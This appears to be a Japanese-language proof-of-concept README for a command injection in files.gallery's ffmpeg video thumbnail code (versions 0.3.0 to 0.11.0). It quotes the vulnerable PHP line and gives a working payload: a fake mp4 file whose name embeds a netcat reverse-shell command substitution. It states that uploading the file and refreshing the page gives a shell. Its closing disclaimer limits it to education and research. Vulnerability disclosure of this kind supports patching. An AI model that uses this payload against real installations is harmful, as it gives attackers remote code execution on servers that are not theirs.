
Karl Ward の files.gallery v0.3.0 から 0.11.0 におけるビデオサムネイルレンダリングコンポーネントのコマンドインジェクションの脆弱性により、リモートの攻撃者が細工されたビデオファイルを介して任意のコードを実行できる可能性があります。
前提条件:
ffmpeg が PATH に存在することconfig.php で 'allow_upload' => true に設定されていることexec が有効であることこの脆弱性は、ビデオプレビューを生成する次の行(バージョン 0.9.12 から取得)に存在します:
$cmd = $ffmpeg_path . ' -ss 3 -t 1 -hide_banner -i "' . str_replace('"', '\"', $this->path) . '" -frames:v 1 -an -vf "thumbnail,scale=480:320:force_original_aspect_ratio=increase,crop=480:320" -r 1 -y -f mjpeg "' . $cache . '" 2>&1';
$this->path はユーザーが制御可能であるため、タイトルが bash コマンド置換となる悪意のあるファイルを構築できます。このファイルには、例えば mp4 マジックバイトが含まれ、ファイル名が .mp4 で終わることが重要です:
$ echo "AAAAIGZ0eXBpc29tAAACAGlzb21pc28yYXZjMW1wNDEAAQv7bW9vdgAAAGxtdmhk" | base64 -d > '$(nc 127.0.0.1 8443 -e bash).mp4'
このファイルをアップロードし、ページを更新してアプリケーションにファイルを読み込ませると、ローカルマシン上でシェルを取得できます。
注:コマンドはファイル名に保存されるため、リバースシェルの可能性はファイル名の長さの制約により制限されます。
このリポジトリは、教育および研究目的のみを意図しています。
誤用に関する警告: このツールを不正または悪意のある活動に使用することは固く禁止されており、地域、州、または国際法に違反する可能性があります。作者はこのコードの誤用について一切責任を負いません。
このツールをどのような環境でも展開する前に、必ず適切な許可を取得してください。このプロジェクトを使用することで、責任を持って倫理的に使用することに同意したものとみなされます。